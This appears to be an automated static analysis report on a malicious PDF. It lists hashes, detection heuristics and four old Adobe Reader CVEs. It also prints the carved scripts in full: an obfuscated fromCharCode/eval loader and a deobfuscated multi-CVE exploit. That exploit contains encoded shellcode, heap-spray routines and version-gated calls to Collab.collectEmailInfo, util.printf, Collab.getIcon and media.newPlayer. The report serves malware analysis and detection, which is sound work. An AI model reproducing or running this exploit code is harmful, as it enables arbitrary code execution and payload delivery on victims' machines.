Malicious PDF — malware analysis report

Static analysis result for SHA-256 f855c8239897c5c7…

MALICIOUS

PDF

29.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 4e16817f0d5004f72ad3ed1f38dd82f3 SHA-1: ef36a2c0870c3b0564b8fd905540cd15efc52a18 SHA-256: f855c8239897c5c79a68dba208d31934867d3bff2a8ed61610b1e9afa3575563
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is likely intended to execute malicious code, as suggested by the 'Suspicious extracted artifact' finding. The use of String.fromCharCode further supports the obfuscation of the embedded script. No specific family could be identified, and the exact payload is unclear without further dynamic analysis.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 634 bytes
SHA-256: 3bc980ab370e04661ff3c05dadac5b49a8bc099bfccf502f2b0c69ef19a3c39b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
rdybk='';
var q2 = date.getFullYear()-2007;
uamuj='2011s'.replace(date.getFullYear(),'hi');
gjra=('.tit2011').replace(date.getFullYear(),'le');
Function('','zpo=t'+uamuj+gjra)();
xarx=('sub2011').replace(date.getFullYear(),'ject');
Function('','mzuw=t'+uamuj+'.'+xarx)();
var mzuw=mzuw.replace(date.getFullYear(),'al');
Function('','shz=t'+uamuj+'.'+mzuw)();
uaz='.pro2011cer';
uaz=shz('uaz.replace(date.getFullYear(),"du")');
Function('','dmpn=t'+uamuj+uaz)();
wwmx=shz(dmpn);
stjih = shz(zpo);
for (i = 0; i < stjih.length; i++) {
	wxxvw = stjih[i];
	rdybk += wwmx(wxxvw);
}
shz(rdybk);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x349 3630 bytes
SHA-256: 3d13202c47851e300a0ffad9f07588cd1a8ba8259a27cebc709fb747006f6f10
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u34b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2a34%ue2aa%uc3fa%ue5e8%uffff%uc3ff%u2b26%u2a2a%uab74%u76c6%u2a2b%ua32a%ua7cd%u3a65%u45a7%u1b7e%u7df1%u797b%u7979%u7979%u7979%u797f%u4279%u2b2e%u2a2a%u7c7f%u4279%u4445%u2a2a%u5f42%u4658%u7e47%ua442%u2464%uc2c6%u2a62%u2a2a%uc27a%u2a56%u2a2a%ufad5%ueea9%u4222%uc565%u2f65%uc27a%u2a46%u2a2a%ufad5%ueaaf%u3d5f%u7e40%ud973%u4280%ud458%u3c99%u37c2%u2a2a%u7a2a%u7bc2%u2a2a%ud52a%u79fa%ud440%ua342%u2b45%uc297%u2a22%u2a2a%uc27a%u2a16%u2a2a%ufad5%u1b4a%u4eea%u7aa1%ua11a%u2678%u78a1%ua13e%u0258%u3293%u2a2a%u1b2a%u1bd5%u86ea%u4b16%u2856%u0a06%ue5eb%u2b27%uc8ed%uabda%u71d5%u6096%ua140%u3a68%u38a1%uf35f%u6ea3%u360e%ue94b%ua14a%u0e46%ua10e%u166f%u7ea1%u522f%uc02b%u60a1%ua132%u0a70%uc12b%u1ec9%ua163%ua11e%uc42b%ud51b%uea1b%u86d6%ueaae%u2d5e%ue5eb%u2b27%uc1ed%u11de%u0e56%u5f02%ua1cb%u0e70%uc12b%ua14c%u6126%u70a1%u2b36%ua1c1%ua12e%uc22b%u6ea3%u360e%ue84b%u2a22%uc5c2%ud5d4%u42d5%u5e5e%u105a%u0505%u1847%u4719%u4304%u0544%u044e%u425a%u155a%u174c%u1d1f%u4f0c%u1917%u002a';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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